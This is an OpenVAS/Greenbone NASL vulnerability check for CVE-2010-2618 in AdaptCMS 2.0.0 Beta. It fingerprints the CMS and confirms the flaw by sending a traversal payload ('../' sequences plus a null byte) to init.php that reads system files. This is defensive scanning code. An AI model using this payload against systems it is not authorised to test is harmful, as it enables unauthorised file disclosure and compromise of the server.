AdaptCMS 'init.php' Remote File Include Vulnerability

# SPDX-FileCopyrightText: 2010 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.100852");
  script_version("2023-12-13T05:05:23+0000");
  script_tag(name:"last_modification", value:"2023-12-13 05:05:23 +0000 (Wed, 13 Dec 2023)");
  script_tag(name:"creation_date", value:"2010-10-13 13:28:00 +0200 (Wed, 13 Oct 2010)");
  script_tag(name:"cvss_base", value:"6.8");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:P/I:P/A:P");
  script_cve_id("CVE-2010-2618");
  script_name("AdaptCMS 'init.php' Remote File Include Vulnerability");
  script_category(ACT_ATTACK);
  script_family("Web application abuses");
  script_copyright("Copyright (C) 2010 Greenbone AG");
  script_dependencies("find_service.nasl", "no404.nasl", "webmirror.nasl", "DDI_Directory_Scanner.nasl", "gb_php_http_detect.nasl", "os_detection.nasl", "global_settings.nasl");
  script_require_ports("Services/www", 80);
  script_exclude_keys("Settings/disable_cgi_scanning");

  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/41116");
  script_xref(name:"URL", value:"http://www.adaptcms.com");

  script_tag(name:"summary", value:"AdaptCMS is prone to a remote file-include vulnerability because it
  fails to properly sanitize user-supplied input.");

  script_tag(name:"impact", value:"An attacker can exploit this vulnerability to obtain potentially
  sensitive information or to execute arbitrary script code in the context of the webserver process.
  This may allow the attacker to compromise the application and the computer. Other attacks are also possible.");

  script_tag(name:"affected", value:"AdaptCMS 2.0.0 Beta is vulnerable. Other versions may be affected.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year since the disclosure
  of this vulnerability. Likely none will be provided anymore. General solution options are to upgrade to a newer
  release, disable respective features, remove the product or replace the product by another one.");

  script_tag(name:"qod_type", value:"remote_app");
  script_tag(name:"solution_type", value:"WillNotFix");

  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("port_service_func.inc");
include("list_array_func.inc");
include("host_details.inc");
include("os_func.inc");
include("misc_func.inc");

port = http_get_port( default:80 );
if( ! http_can_host_php( port:port ) )
  exit( 0 );

files = traversal_files();

foreach dir( make_list_unique( "/cms", "/adaptcms", http_cgi_dirs( port:port ) ) ) {

  if( dir == "/" )
    dir = "";

  buf = http_get_cache( item:dir + "/sitemap.xml", port:port );
  if( ! buf )
    continue;

  if( buf =~ "^HTTP/1\.[01] 200" && egrep( pattern:"Generated by AdaptCMS", string:buf, icase:TRUE ) ) {

    foreach file( keys( files ) ) {

      url = string( dir, "/inc/smarty/libs/init.php?sitepath=", crap( data:"../", length:3*9 ), files[file], "%00" );

      if( http_vuln_check( port:port, url:url, pattern:file, extra_check:"Class 'Smarty' not found" ) ) {
        report = http_report_vuln_url( port:port, url:url );
        security_message( port:port, data:report );
        exit( 0 );
      }
    }
  }
}

exit( 99 );